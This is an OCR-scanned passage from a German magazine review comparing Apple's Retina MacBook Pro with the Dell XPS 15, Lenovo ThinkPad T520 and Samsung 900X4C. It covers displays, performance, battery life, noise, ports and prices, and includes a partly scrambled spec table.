der  Mattierungsschicht s ieht man i n  g le ich­
mäß igen Fa rbflächen (vor a l l em bei Weiß) 
e in  fei nes Regenbogen-Grisse ln ,  das s ich bei  
le ichten Kopfbeweg ungen perma nent än­
dert. Deta i l s  wi rken zudem nicht mehr so 
knackig-scharf, Fa rben etwas b lasser. 

Letzteres wäre besonders ärger l ich ,  ge­
hört das Panel doch zu den besseren seiner 
Art: Es ü berdeckt den sRGB-Farbra u m  und  
schafft damit mehr  a l s  viele Desktop-Mon ito­
re, kommt aber n icht an Wide-Gamut-Farb­
gewa lt heran, die das Th inkPad T520 zeigt. 
So kräftige Farben findet man sonst nur bei 
wen igen anderen Notebocks überhaupt: Bei 
H Ps E l itebock-Serien 8560w und 8760w hei­
ßen solche B i ldsch i rme Dreamcolor, De l i  
nennt d ie fa rbkräft igen Panels  se iner P reci­
s ion-Ser ien M4600 und M6600 B+RGLED. 
De l i s  XPS 1 5 war b is lang e in  günst iger E in­
stieg i n  d ie Weit  der Farben und schaffte fast 
AdobeRGB, doch die h ier getestete aktue l le 
Gerätegenerat ion kommt kau m  mehr  über 
sRGB h i na us. E in  anderes Panel wi rd es laut 
Del i  i n  d iesem Gerät n icht mehr geben.  

H i ns icht l ich der  B l ickw inke labhäng igkeit 
zeigt App le  der Konku rrenz, wo der Ham­
mer hängt: Sel bst aus  extrem flachen B l ick­
winke ln  b le iben d ie  Fa rben stab i l .  E i nzig d ie  
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He l l i gkeit n i m mt be im B l i ck  von der Seite 
etwas ab - das i st aber bei fast a l l en Note­
bock-B i l d sch i rmen so. Der  B i l d sch i rm von 
Lenovos Th i nkPad T520 ist ähn l ich gut, d ie  
Pane ls  bei De l i  und  vor a l lem Samsung h in­
gegen deut l ich sch lechter. Das XPS 1 5 ze ig­
te beim Bl ick von der  Seite eine Rasterung 
i n  e igent l ich g le ichmäßigen Fa rbflächen.  E i­
n ige Zwischenfa rbtöne werden über zeit l i ­
ches Dither ing da rste l l t, was manche Leute 
a l s  le ichtes F l i m mern wa h rnehmen.  Das 
900X4C verfä l scht Fa rben schon bei le ich­
ten Abweichungen  von einer sen krechten 
B l ickr ichtu ng .  Von oben oder u nten mag 
man bei beiden n icht g ucken, wei l  d ie  Far­
ben dann  invert iert erscheinen .  

Performance 

Apple bietet das  Reti na-MacBock in zwei 
H igh-End-Konfigu rationen an :  Den Core i7-
361 0QM (2,3 GHz, mit Tu rbo bis 3,3 GHz) und 
e ine 256-GByte-SSD g ibt es fü r 2280 Euro, 
den Core i7-3720QM (2,6 GHz, mit Turbo bis 
3,6 GHz) mit  5 1 2er-SSD fü r 2900 Euro. Nu r  
letztere Ausstattungsva riante lässt s ich wahl­
weise m it dem nochmals sch ne l le ren Core 
i7-3820QM (2,7 GHz, mit Tu rbo bis 3,7 GHz, 
p l u s  250 Eu ro) und  e iner  768-GByte-SSD 
(p lus  500 Eu ro) a ufrüsten, der  Mittel klasse­
G rafi kch ip  GeForce GT 650M i st immer an 
Bord. Der Arbeitsspeicher fasst 8 GByte, e ine 
Verdopp lung kostet 200 Euro und i st  be i  bei­
den Grundmodel len mög l ich .  Wei l  Prozessor, 
Arbeitsspeicher und  Grafi kch ip  auf d ie 
Hauptplat ine ge lötet s ind,  kann  man das 
MacBock n icht nachträg l ich  a ufrüsten. Das 
i st bei vielen flachen Notebocks wie den 
U lt ra bocks gena uso, bei Power-Notebooks 
aber d ie Ausnahme. 

E i nzig d ie  SSD rea l i s ie rt Apple als Steck­
modu l ,  welches nach Abnahme der mit 

kommen, wie es etwa bei e in igen Premium- Optimaie Raumausnutzung: Apple verschenkt im Retina-MacBook kein Volumen. 
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Apples MacBook Pro mit Retina-Display überzeugt 
mit seinem extrem hochauflösenden Bi ldschirm und 
seinem sehr flachen Gehäuse. 

Del is XPS 1 5  bietet ähn l ich viel Power zum kleineren Preis, 
ist mit optischem Laufwerk im schlanken Gehäuse aber eher 
ein Konkurrent für das Retina-lose MacBook Pro. 

Penta lobe-Schrauben gesicherten Bodenplat­
te getauscht werden könnte, doch wegen 
des proprietären Formats g ibt es derzeit 
ke ine passenden Alternativen .  Der Akku i st 
n icht festgeschrau bt, sondern e ingeklebt; 
ein Austausch beim Herste l le r  kostet 200 
Euro. Da erscheint es s innvo l l ,  d ie  350 Eu ro 
teure Ga rantieverlängerung (AppleCa re Pro­
tect ion P lan)  von ein auf  d re i  Jah re a bzu­
schl ießen, denn e in Akkutausch bei Defekt ist 
dar in enthalten .  Im Vol lausbau samt Garan­
tiever längerung kostet das Reti na-MacBook 
über 4000 Euro - ganz schön happig .  

E ine ähn l iche Rechen le istung bekommt 
man bei  Windows-Notebooks bereits fü r 
deutl ich weniger Geld. So kostet Del is  XPS 1 5  
mit etwas ger ingerer Performance a l s  Apples 
Basismodel l  nur 1 650 Eu ro; selbst m it 1 28er­
SSD p lus  1 -TByte-Festplatte und  B lu- ray­
Laufwerk l iegt man noch mehrere Hunderter 
darunter. Die Preise fü r Lenovos Th in kPad 
T520 beg innen bei 1 050 Eu ro; das Testgerät 
kostet 1 800 Eu ro. Als Bus iness-Laptop be­
kommt man das Th inkPad n icht nur mit op­
tional b is zu fü nf J ah ren Garant ie, sondern 
kann auch aus viel passendem Zubehör wäh­
len - etwa versch iedenen Docking-Stationen 
oder mehreren Zusatzakkus. 

Mobil ität 

Liest man das Datenb latt des Ret ina­
MacBooks, so wird man bei  den Schn ittstel­
len stutzig:  ke i n  Netzwerkadapter und kei n  
optisches Laufwerk bei e inem 1 5-Zö l ler? Ja,  
darauf muss man verzichten, wei l  Apple das 
Gerät deut l ich weiter i n  Richtu ng Mobi l ität 
getrieben hat als al le bisherigen Power-Note­
books: Das Gehäuse misst kei ne 2 Zent ime-
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ter ink lus ive Deckel und wiegt u nter 2 , 1  K i lo­
g ramm - eine beacht l iche lngen ieurle istung .  
Zum Verg le ich :  Lenovos Th i n kPad T520 i st  
sch l icht doppe lt  so d ick  und  wiegt 
700 Gramm mehr. Del i s  XPS 1 5  ist mit  rund 
2,5 Zent imetern Dicke bereits e in  a usgespro­
chener F lachma n n  u nter den potenten 1 5-
Zöl lern und  wiegt t rotzdem so vie l  wie das 
Lenovo-Gerät. 

Das einzige 1 5-Zoi i-Notebook, das das Reti­
na-MacBook bei Gewicht und Dicke unterbie­
tet, i st Samsungs 1 500 Euro teures 900X4C: 
Es wiegt rund 1 ,7 Ki logramm und ist auch nur  
1 ,7 Zentimeter flach. l n  Sachen Performance 
hechelt es aber h interher: Sein U LV-Doppel­
kern-Prozessor ( 1  ,7 GHz, mit Turbo bis 2,6 GHz) 
l iefert nu r  einen Bruchtei l  der Rechen leistung 
der i7-Quad-Cores. Einen flotten 3D-Chip g ibt 
es n icht und  mehr a l s  e ine - immerhin sehr 
schnel le - 1 28-GByte-SSD auch nicht. 

Apple verspricht s ieben Stunden Laufzeit, 
unser Testgerät h ielt bei ger inger Systemlast 
und auf 1 00 cd/m2 a bgedu n keltem Disp lay 
soga r  fast neun Stu nden d u rch .  Das g i l t  
a l le rd i ngs  nu r  u nter Mac OS X :  U nter W in ­
dows 7 U lt imate 64  B i t  haben  wi r  bestenfa l l s  
knapp  fü nfe i nha lb  Stu nden gemessen.  
Dara n  s ind u nter anderem Beschrä n ku ngen 
der  Ha rdware schu ld :  Wäh rend s ich u nter 
Mac OS X d ie  i m  I nte l-Prozessor i nteg rierte 
Grafi ke inheit HD 4000 um die B i ldsch i rmaus­
gabe kü mmert u n d  s ich der  Nvid ia-Grafi k­
ch ip  n u r  bei (3D-)Bedarf zuscha ltet, ist letz­
terer u nter Windows immer aktiv, wäh rend 
d ie  I nte l-Grafi k brach l iegt. Zudem lassen 
s ich WLAN- und B l uetooth-Ada pter u nter 
Windows n icht deaktivieren .  Wen n  P rozes­
sor und  G rafi kch i p  zu tun  haben,  geht der  
Akku u nter Mac OS wie Windows deut l i ch  

früher  zur  Neige:  V ie l  mehr  a l s  zwei Stunden 
s ind dann n icht dr in .  

Be i  vol l  aufgedrehter H i ntergrundbeleuch­
tung hä lt das  MacBook n u r  noch sechsein­
ha lb  Stunden du rch, Lenovos ThinkPad T520 
schafft h ingegen über acht Stu nden - bei ver­
g leichbarer Akkukapazität und ähn l icher Hel­
l i gkeit. Dass das MacBook so viel schlechter 
dasteht, l iegt am Display: Wei l die Pixel so ex­
trem kle in s ind, d ie jewei ls  zugehörigen, l icht­
undu rch läss igen Trans i storen aber  g leich 
g roß  gebl ieben s ind,  m uss Apples H inter­
g rundbeleuchtu ng viel  stärker leuchten a l s  
be i  e inem norma l  a uflösenden B i ldsch i rm, 
damit d ieselbe He l l i gkeit beim Nutzer an­
kommt - und höhere He l l igkeit heißt höherer 
Energieverbra uch .  Einen ähn l ichen Effekt 
sieht man auch beim neuen i Pad [4] . 

Del i s  XPS 1 5  und Samsungs 900X4C schaf­
fen d iese lben Laufzeiten wie das  MacBook 
mit  e inem 65-Wh-Akku. Dass das Samsung­
Notebook trotz U LV-Prozessor n icht besser 
dasteht, wundert n icht: I ntel hat bei den le is­
tungsstarken lvy-Br idge-Prozessoren wie im  
De l i  d i e  ld l e-Energieaufnahme auf das N i ­
veau der schwächeren U LV-Va rianten abge­
senkt. U LV bedeutet also hauptsäch l ich, dass 
s ich Gehäuse besonders flach bauen lassen, 
wei l die Lüfter wenig P latz b ra uchen, und  
dass  d ie  Laufzeit u nter CPU-Last nicht so  ein­
bricht. 

Ergonomie 

Auch lassen s i ch  mit U LV-Prozessoren poten­
zie l l le isere Systeme bauen, doch das ist n icht 
automatisch der Fal l :  Wäh rend Samsungs äl­
tere Serie-9-Geräte selbst u nter Last leise 
waren, d reht der Lüfter des 900X4C schon bei 
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Der Fui i -HD-Bi ldschirm von Lenovos ThinkPad T520 zeigt 
mit Wide-Gamut-Farben noch mehr Bri l lanz als Apple, es ist 
aber schl icht doppelt so dick und ein Drittel schwerer. 

Noch flacher und leichter als Apple kanns bei 
1 5-Zöllern nur Samsung - a l lerdings mit deutlich 
weniger Performance und einem nervigen Lüfter. 

ku rzer Prozessorlast hörbar auf und  nervt 
zudem mit e inem unangenehmen Röhren. 
Mit e iner S i lent-Taste kan n  man zwar einen 
geräuschlosen Betrieb erzwingen, doch dann 
wird d ie Rechenleistung gedrosselt. 

Lenovos ung leich le istungsstärkeres Th ink­
Pad T520 bleibt h ingegen nicht nu r  bei gerin­
ger Rechenlast leise, sondern auch u nter Vol l ­
dampf: 1 , 1 Sone s ind e in  hervorragender 
Wert. Apple und Del i  werden bei anha ltender 
Rechen- und Grafik last m it b is  zu 3 , 1  bezie­
hungsweise 2,8 Sone aufd ring l ich laut, was 
i h ren flachen Gehäusen geschu ldet ist: Dort 
lässt sich die Abwärme halt nu r  du rch kleinere 
Küh ler  abfüh ren - mit viel Luftdu rchsatz 
gleich hohen Lüfterdrehzahlen.  

Dennoch gebührt den beiden Lüftern im  
MacBock Lob: Be i  ger inger Rechen last blei­
ben sie u nhörbar le ise, und selbst bei m ittle­
rer CPU-Last, etwa beim Surfen a uf F lash- Jas­
tigen Webseiten, fa l len s ie n ie  nervig auf, ob­
wohl s ie dann  hörbar  säuse ln .  Zudem hat 
Apple d ie Trägheit der Lüftersteueru ng opti­
miert: Wo so manches Notebock schon bei 
ku rzen Lastspitzen a ufheu lt, b le ibt das  
MacBock erst ma l  le ise; erst be i  anha ltender 
Last steigt der  Lärm langsam.  Nach Ende 
e iner  Berechnung  fä l l t  d ie  D rehza h l  recht 
zügig wieder ab - d ie rauschenden Gedenk­
minuten, d ie ä ltere MacBocks den Ohren zu­
muteten, s ind weg. 

Das A l u-Gehä use wi rd bei anha ltender  
Rechen last, etwa bei 3 D-Spie len,  u na nge­
nehm warm: Sowoh l  a n  der  U nterseite a l s  
auch  am h interen Ende  der  Tastatu r  haben 
wir  b is  zu 47 G rad gemessen - da  möchte 
man das Notebock weder a uf dem Schoß 
haben noch i n  Spie len per länger gedrückter 
WASD-Tasten nach vorne stürmen.  
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Große Touchpads - auch h ier  wa r Apple 
Pionier - findet man mittlerwei le i n  fast a l len 
Windows-Notebooks (ab 500 Euro). Die h ier 
getesteten Geräte von Del i  und Samsung bie­
ten genauso viel F läche wie das von Apple 
und verstehen ebenfa l l s  Gesten mit bis zu vier 
F ingern. Das Touchpad von Lenovo ist k le iner 
und erkennt maximal d rei g leichzeitig aufge­
legte F inger. Als zusätzl iches E ingabemed ium 
steht h ie r  ein Trackpoint zur Verfügung: Damit 
kann  man den Mauszeiger schne l l  steuern, 
ohne die zum Zehn-Finger-Sch reiben aufge­
legten Hände weit bewegen zu müssen. 
Unter Windows funktion ieren beim MacBock 
übrigens maximal Zwei-Finger-Gesten; die an­
deren, besonders praktischen behält Apple 
dem Mac-OS-Treiber vor. 

Be leuchtete Tastaturen haben a l l e  v ier 
Testgeräte. Die Tastatu ren von Apple,  Del i  
und Samsung werden von u nten er leuchtet, 
bei Lenovo s itzt e ine weiße LED neben der 
Webcam und strah lt  nach u nten. Apple, Del i  
und Samsung steuern über He l l igkeitssenso­
ren a uf Wunsch a utomatisch d ie  I ntensität 
der B i ldsch i rm- und Tastatu rbeleuchtungen, 
bei Del i  verharrte der B i ldschirm aber auch in 
I nnenräumen bei max ima ler  He l l i gkeit . Bei 
Apple k lappt d ie Automatik wiederum n icht 
u nter Windows. 

Testdeta i l s  

Was uns  sonst noch bei d e n  Testgeräten auf­
gefa l len ist: 

Apple g ibt dem MacBook Pro mit Retina­
Display zwei Thunderbolt-Ports, einen HDMI­
Ausgang und zwei USB-3.0-Buchsen mit auf 
den Weg. Damit i st man deut l ich flexibler a ls  
b isher, wenn man externe B i ldsch i rme und 

schne l le  Festplattengehäuse anschl ießen 
möchte. Gigabit-Netzwerk- und F i reWire-800-
Schn ittstel len lassen s ich ü ber Thunderbolt­
Adapter Oe 30 Euro) nachrüsten. Der WLAN­
Ch ip  erzielte hohe Transferraten, fand aber 
nach dem Aufwecken des Notebocks aus 
dem Standby manchmal keine Funknetze 
mehr. Auch die Tastaturbeleuchtung funktio­
n ierte dann mitunter n icht mehr. Beide Fehler 
traten sowohl  unter Mac OS als auch Win­
dows auf. Apple l iefert den Windews-Treiber 
296.49 fü r den GeForce-Grafikch i p  aus, Nvi­
dias neuerer Beta-Referenztreiber 304.48 fü r 
Notebocks l ieß sich n icht insta l l ieren. 

Del i baut im  XPS 1 5  eine Festplatte und 
eine Puffer-SSD ein und kombin iert dadurch 
schnel le  Zugriffszeiten mit hoher Kapazität, 
wodu rch sich das Notebock tatsächl ich sehr 
flott a nfühlt ( I ntel Smart Response Techno­
logy). Beim WLAN hat Del i h ingegen gepatzt, 
denn unser Testgerät erreichte auf unserer 20-
Meter-Teststrecke nur  arg n iedrige Transferra­
ten von u nter 2 MByte/s netto. Das XPS 1 5  
wird i n  sechs vorgegebenen Konfigurationen 
mit dem Doppelkern Core i5-321  OM (4 GByte 
Arbeitsspeicher) oder dem Quad-Core 
i7-361 2QM (8 oder 1 6  GByte Arbeitsspeicher) 
verkauft. Nu r  in der günstigsten Variante 
steckt der GeForce GT 630M, in a l len anderen 
wie im Testgerät der schnel lere GT 640M. Bei 
unserem Exemplar zickten die USB-3 .0-Ports 
und l ieferten nu r  arg magere Transferraten 
von rund 40 MByte; Del i stel lte auf Nachfrage 
ein BIOS- oder Treiber-Update in  Aussicht. 

Lenovo g ibt seinem ThinkPad T520 außer 
einem Docking-Ansch l uss auch einen Ex­
pressCard/54-Schacht und eSATA mit auf den 
Weg - a l le  d rei feh len den anderen Kand ida­
ten. USB 3.0 ist h ingegen nicht an  Bord, son-

8 1  
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getestete Konfiguration 
Lieferumfang 

MC9760/A 
Mac OS X 1 0.7.4 64 Bit, ilife, Netzteil 

Schnittstellen (V = wome, H = hinten, L = links, R = rechts) 

VGA I OVI / HDMI / DisplayPort I Kamera 
USB 2.0 I USB 3.0 I eSATA I eSATA+USB 
LAN I Modem I FireWire 
Kartenleser I Strom I Oocking-Anschluss 
Ausstattung 

Display 

Prozessor 
Prozessor-Cache 
Prozessor-Taktrate 
Hauptspeicher 
Chipsatz I m� Hybridgrafik I Frontside-Bus 
Grafikchip (Speicher) 

Sound 
LAN 
WLAN I Dual-Band 
Bluetooth I Stack 
USB 3.0 
Festspeicher 

optisches Laufwerk 
S�vtrSOrgung, Maße, 6ewicht 

Akku I wechselbar I Ladestandsanzeige 
Netzteil 

Gewicht 
Größe I Dicke m� FUßen 
Tastaturhöhe I Tastenraster 
Leistungsaufnahme 

Suspend I ausgeschaltet 
ohne last (Display aus / 100 cd/m2 / max) 
CPU-Last / 3D-Spiele (max. Helligkeit) 
max. Leistungsaufnahme I Netzteii-Powelfactor 
Missergebnisse 

Laufzeit ohne Last ( 100 cd/m2 / max) 
Laufzeit last (100 cd/m2) 
Ladezeit I Laufzeit nach 1 h  Laden 
Geräusch ohne I mit Rechenlast 
Festspeicher lesen I schreiben 
Leserate Speicherkarte (SO I xD I MS) 
WLAN 802.1 1  n 5 GHz / 2,4 GHz (20m) 
Qualität Audioausgang I Dynamikumfang 
CineBench R 1 1 .5 Rendering 32 / 64 Bit (n CPU) 
30Mark 2003 / 2005 / 2006 / 1 1  
Windows-Bench CPU I RAM I GPU / 30 I HOO 
Bewtrtung 

Laufzeit 
Rechenleistung BUro / 3D-Spiele 
Display Helligkeit I Farben 
Geräuschentwiddung ohne I m� Last 
Preis und Gl111ntlt 

Preis Testkonfiguration 
Garantie 

- / - / R / 2 x L (Thunderbolt) /-./ 
- / 1 X L, 1 X R / - / -
- / - / -
R (SD) / L / -

1 5,4 Zoll / 39 cm, 2880 x 1800, 1 6: 10, 
221 dpi, 4 . . .  239 cd/m2, spiegelnd 
I ntel Core i7-372DQM (4 Kerne mit HT) 
4 x 256 KByte L2·, 6 MByte LHache 
2,6 GHz (3,6 GHz bei einem Thread) 
8 GByte P0-1 2800L 
Intel HM77 /v (nur Mac) I OMI 
PEG: Nvidia Ge Force GT 650M 
(1 024 MByte GDDR5) 
HDA: Cirrus Logic CS4206B 

PCie: Broadcom 4331 (a/b/g/n 450) /v 
USB: Broadcom I Apple 
Intel USB 3.0 
Apple 550 SM512E (5 1 2  GByte) 

95 Wh lithium-Polymer I - I -
85 W, 323 g, 8 cm x 8 cm x 2,8 cm, 
Steckernetzteil 
2,03 kg 
35,9 cm x 24,7 cm / 1 ,8 cm 
1,3 cm / 1 9 mm x 18,5 mm 

0,77 W / 0,3 W 
5,8 W / 10,5 W / 1 8,3 W 
81,5 w / 90,2 w 
91 w / 0,92 

8,8 h (9,6 W) / 6,6 h (1 2,8 W) 
2,3 h (37,3 W) 
2,1 h / 4,2 h 
0,1 Sone / 3,1 Sone 
230,7 / 21 1,2 MByte/s* 
40,6 / - I - MByte/s* 
5,8 / 7,4 MByte/s* 
C*l / -102 dB(A) 
5,1 / 5,78 
38885 / 24346 / 1 5080 I P2348* 
7,6 / 7,8 / 7,2 / 7,2 / 7,9* 

2900 € 
1 Jahr 

P32F 4243-5GG 
Windows 7 Horne Premium 64 Bit, Windows 7 Professional 64 Bit, 
Cyberlink Power DVO 9.6, Microsoft Office Corel Win OVO, Corel Burn Now, 
Starter 201 0, Netzteil Microsoft Office Starter 201 0, Netzteil 

- I - I L I L (Mini-OisplayPort) /v 
- / 3 X L / - / -
L /  - 1 -
R (SO) / L / -

1 5,6 Zoll / 39,5 cm, 1 920 x 1080, 16:9, 
1 42 dpi, 15 . . .  305 cd/m2, spiegelnd 
Intel Core i7-361 2QM ( 4 Kerne mit HT) 
4 x 256 KByte L2-, 6 MByte LHache 
2,1 GHz (3, 1 GHz bei einem Thread) 
8 GByte P0-1 2800 
I ntel HM77 /v I OMI 
PEG: Nvidia GeForce GT 640M 
(2048 MByte GDOR5) 
HOA: Realtek ALC275 
PCie: Reallek RTL8168 (GBit) 
PCie: lntel 6235 (a/b/g/n 300) /-./ 
USB: Intel / Microsoft 
Intel USB 3.0 

L ! - 1 - I L I-./ 
2 X L, 1 X H / - / - / L 
R I - I L (4-polig) 
R (50) I H I U 

1 5,6 Zoll / 39,5 cm, 1920 x 1080, 16:9, 
142 dpi, 3 . . .  2 1 7 cd/m2, matt 
Intel Core i7-267DQM (4 Kerne mit HT) 
4 x 256 KByte L2-, 6 MByte L3-Cache 
2,2 GHz (3, 1 GHz bei einem Thread) 
4 GByte P0-10600 
Intel QM67 /v I OMI 
PEG: Nvidia Quadro NVS 4200M 
(1 024 MByte OOR3) 
HOA: Conexant SmartAudio HO 
PCie: lntei 82579LM (GBit) 
PCie: lntel 6300 (a/b/g/n 450) /-./ 
USB: Broadcom I Microsoft 

WO Scorpio Blue (1000 GByte/5400 min-1 / Intel 550 320 ( 160 GByte) 
8 MByte) + Puffer-550 (32 GByte) 
Matsushita �Jl67 (Biu-ray-ROM) Sony/NEC A0-7740H (OVO-Multi/DL) 

65 Wh lithium-Polymer /-./ I -
90 W, 434 g, 1 2,7 cm x 5,2 cm x 3,2 cm, 
Kleeblattstecker 
2,67 kg 
37,1 cm x 24,9 cm / 2,3 . . .  2,4 cm 
1 ,8 cm / 1 9 mm x 19 mm 

0,8 W / 0,3 W 
8,4 w / 1 3,2 w / 1 6,3 w 
67,2 W m w  
76,7 W /0,93 

6 h ( 1 1 ,5 W) / 5,3 h ( 1 2,9 W) 
1 ,4 h (49, 1 W) 
2,7 h / 2,2 h 
0,1 Sone / 2,8 Sone 
1 3 1 ,6 / 99,8 MByte/s 
65,2 / - I - MByte/s 
0,9 / 1,9 MByte/s 
C*l / -99,6 dB(A) 
5,32 / 5,64 
29558 / 14702 / 9923 / P1931 
7,5 / 7,7 / 7 1 7 / 5,9 

1650 € 
1 Jahr 

93 Wh Lith ium-Ionen /v I -
135 W, 720 g, 14,4 cm x 6,6 cm x 3,7 cm, 
Kleeblattstecker 
2,7 kg 
37,3 cm x 26,4 �m / 3,4 . . .  3,9 cm 
2,6 cm / 1 9 mm x 1 9 mm 

0,9 w / 0,4 w 
5,5 W / 1 3,7 W / 1 7,7 W 
77,3 w / 72,6 w 
86,7 W / 0,88 

1 0,4 h (1 0,2 W) / 8,3 h (1 2,7 W) 
2,4 h (44,3 W) 
2,6 h / 4 h  
0,1 Sone / 1 , 1 Sone 
1 79,3 / 1 50,2 MByte/s 
37,3 / - I - MByte/s 
5,4 / 6,5 MByte/s 
(t) / -93,3 dB(A) 
4,86 / 5,1 
1 2747 / 981 5 / 5 140 / P609 
7,5 / 5,9 / 4,8 / 6,5 / 7,7 

1800 € 

M sellr gut $ gut o zuflledensteile e sehtecht ee sehr schlecht "' vorhanden 

A01 DE 
Windows 7 Professional 64 Bit, 
Microsoft Office Starter 2010, Netzteil, 
LAN-Adapter 

R (Adapter) I - I L (�HOMI) I - /v 
1 x l / 2 x R / - / -
L (Adapter) I - I -
R (SO) / L / -

1 5 Zoll / 38,2 cm, 1600 x 900, 16:9, 
1 22 dpi, 16 . . .  326 cd/m2, matt 
Intel Core i5-3317U (2 Kerne mit HT) 
2 x 256 KByte L2-, 3 MByte LHache 
1 ,7 GHz (2,6 GHz bei einem Thread) 
8 GByte P0-1 2800 
Intel HM75 / - I OMI 
int.: Intel HO 4000 
(vom Hauptspeicher) 
HOA: Reallek ALC269 
PCie: Reallek RTL8168 (GBit) 
PCie: lntel 6235 (a/b/g/n 300) /-./ 
USB: Intel / Microsoft 
PCie: Renesas USB 3.0 
SanDisk 550 U 100 (128 GByte) 

65 Wh lit� ium-Polymer I - I -
40 W, 302 g, 9,4 cm x 6,6 cm x 2,2 cm, 
Kleeblattstecker 
1 ,68 kg 
35,7 cm x 23,7 cm / 1,6 . . .  1,7 cm 
1,2 cm / 1 9 mm x 18,5 mm 

0,8 W / 0,5 W 
4,4W / 8,2 W / 1 1 ,6 W 
1 7,8 w / 38,6 w 
44,2 w / 0,53 

9 h (7,3 W) / 5,7 h ( 1 1 ,5 W) 
3,7 h (1 7,5 W) 
2,7 h / 3,4 h 
0,1 Sone / 1 ,4 Sone 
306,3 / 242,7 MByte/s 
18,2 / - I - MByte/s 
1 ,8 / 3  MByte/s 
(t) / -97,7 dB(A) 
2,23 / 2,4 
1 3020 / 8527 / 5336 / P228 
6,9 / 7,4 / 6,4 / 6,4 / 7,5 

1 500 € 

dern erst beim Nachfolger T530. Erste T530-
Konfigurationen kommen d ieser Tage in  den 
Handel ,  Model le mit hochauflösendem und 
farbstarkem Panel s ind  noch n icht darunter. 
Mit Unterschnai i-Zusatzakku lässt sich die so 
schon lange Laufzeit abermals verdoppeln -
dann wird das Notebook aber nochmals klo-

biger und  schwerer. Zu teu reren Ausstat­
tungsva rianten wie dem Testgerät gehören 
d rei Jahre Vor-Ort-Service. 

Bei Samsungs 900X4C fordert das flache 
Gehäuse Tribut: Der H DMI-Ausgang hat das 
von Smartphones bekannte Micro-Format, 
die winzige LAN-Buchse kan n  man n u r  mit  

dem mitgel ieferten Adapter auf RJ-45 nutzen.  
VGA g i bt es ebenfa l l s  a l s  proprietäre Min i ­
Buchse, doch e in  passendes Adapterkabel 
legt Samsung u nverständ l icherweise n icht 
bei. E in DisplayPort, den a l le  anderen Kandi­
daten bieten, feh l t  h ier  - externe Monitore 
mit mehr als 1 920 x 1 200 Punkten lassen sich 
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Gehäusedicken im Vergleich: Apple MacBook Pro mit Retina-Display, Samsung 900X4C, 
Deli XPS 1 5  und Lenovo ThinkPad T520 (von oben nach unten) 

a l so nicht ansteuern. Anders als bei den ers­
ten Serie-9-Geräten n immt der SDXC-Karten­
leser nun normal g roße Speicherkarten a uf. 
Samsung verka uft das 900X4C einzig i n  der  
h ier getesteten Konfiguration, a l s  900X4B ist 
e ine ähn l iche mit Core-i-Prozessor der zwei­
ten statt d ritten Generation erhält l ich. 

Fazit 

Apple zeigt a l len  Windows-Notebook-Her­
ste l lern, was techn i5ch mög l ich ist: E in  so fla­
ches Gehäuse bei d ieser Leistungsklasse gab 
es b i s lang n icht, und  das  hochauflösende 
Disp lay macht ei nfach Spaß - sei es bei der  
B i ldbearbeitung, beim Videoschn itt oder e in­
fach nur bei m  Websu rfen .  S icher, Lenovos 
Th inkPad T520 hat mehr  Schn ittste l len und 
Laufzeit, aber eben auch e in  doppelt so d i ­
ckes, schwereres Gehäuse; das  D isp lay i st 
matt und farbgewa ltig, zeigt aber "n u r" Fu i i­
H D-Auflösung.  Samsungs 900X4C ist flacher 
und leichter, bietet aber nur e inen Bruchte i l  
der Performance. De l i  XPS 1 5  i s t  e in  flaches, 
le istungsstarkes Notebook, aber eben doch 
eher e in  Konkurrent des normalen MacBook 
Pro und n icht des Retina-Mode l l s. 

Mit Preisen zwischen 2300 und 4000 Euro 
l iegt das Retina-MacBook in einer ganz ande­
ren Preisregion a l s  viele Windows-Notebooks, 
doch wer so viel Geld ausgeben kann  und wi l l ,  
bekommt dafü r e in  stimmiges Gesamtwerk, 
das - typisch Apple - in vielen Richtungen zu 
Ende gedacht wurde. Das lassen viele Win­
dows-Geräte vermissen, wei l  d ie  Herste l ler  
eher  in  Richtung Produ ktionskosten und an­
visierte Preispunkte denken denn i n  Richtung 
techn ische I nnovation. Windows-Notebooks 
in d iesem Preisbereich s ind entweder mobi le 
Workstations oder d icke Gaming-Kiopper. 
Beide Kategorien bieten viel Power, lassen 
aber flache Gehäuse, ger inges Gewicht und 
lange Laufzeiten vermissen - und Gaming-Ge­
räte zusätzl ich häufig auch noch zu rückneh­
mendes Design  und Wertigkeit. 

Der hohe Preis des MacBooks dü rfte auch 
damit zusammenhängen, dass es kau m  so 
große, hochauflösende Panels g ibt: Experten 
rechnen damit, dass i nnerha l b  der nächsten 
Monate led ig l ich rund 2 M i l l ionen hochauf­
lösende Notebook-Disp lays d ie asiat ischen 
Panel-Werke verlassen können - und die dürf-
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te Apple a l lesamt schon e ingekauft haben. 
Das g roße Fragezeichen ist, wann  die Herstel­
ler von Windows-Notebooks mit hochauf­
lösenden B i ldsch i rmen jenseits von 200 dp i  
aufwarten. Die nächste Portfo l io-Aktua l i s ie­
rung steht bei a l len Herste l lern erst mit Win­
dows 8 auf dem Prog ramm.  Sie d ü rfte viel 
Entwicklu ngskapazität binden: fü r Treiber, für 
Touch-Notebooks beziehungsweise Tablets 
mit Windows und an  vielen anderen kleinen 
Bauste l len .  Nach u nseren E inschätzungen 
wird s ich desha lb  woh l  n iemand g le ichzeitig 
noch die Anpassungen an  ein extrem hoch­
auflösendes Display ans Bein b inden.  Damit 
ist das Weihnachtsgeschäft in d ieser H insicht 
wah rschein l ich gegessen. Selbst wen n  die 
hochauflösenden Windows-Notebooks dann 
im  Frühjah r  endl ich kommen sol lten, werden 
die B i ldschirme wie bei Apple erst e inma l  im 
Hochpreissegment Einzug halten. 

N icht zu letzt darf man n icht vergessen, 
dass es derzeit nicht danach aussieht, als ob · 
I ntel oder Microsoft besonders hochauflösen­
de Bi ldschi rme pushen würden. Leider hat die 
Vergangenheit gezeigt, dass die Notebook­
Herste l ler  zieml ich einfa l l s los s ind,  wenn s ie 
keine Branchengröße a ntreibt. I ntel m usste 
beispie lsweise erst seine U ltrabook-Kam­
pagne sta rten, damit auch andere Herste l ler  
schicke, flache Subnotebooks auf den Markt 
brachten - Jahre nach dem ersten MacBook 
Air. Wir sind desha lb  skeptisch, dass s ich auf 
absehbare Zeit e in  Windows-Notebook-Her­
ste l ler an einem flachen und leichten Power­
Notebook nach Art des Retina-MacBook ver­
sucht - selbst ohne so e in  Disp lay. Das ist 
um so ä rgerl icher, weil e in MacBook zwar eine 
Windows-Nutzung zu lässt, aber  daru nter 
nicht so rund läuft wie u nter Mac OS X. (mue) 
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Report I Hochauflösende Displays 

Jörg Wirtgen 

Viel h i lft viel 
Hocha uflösende Displays u nter Mac OS u nd Wi ndows 

Apples Display im MacBook Pro m it 220 dpi  ist das erste, bei dem g ute 
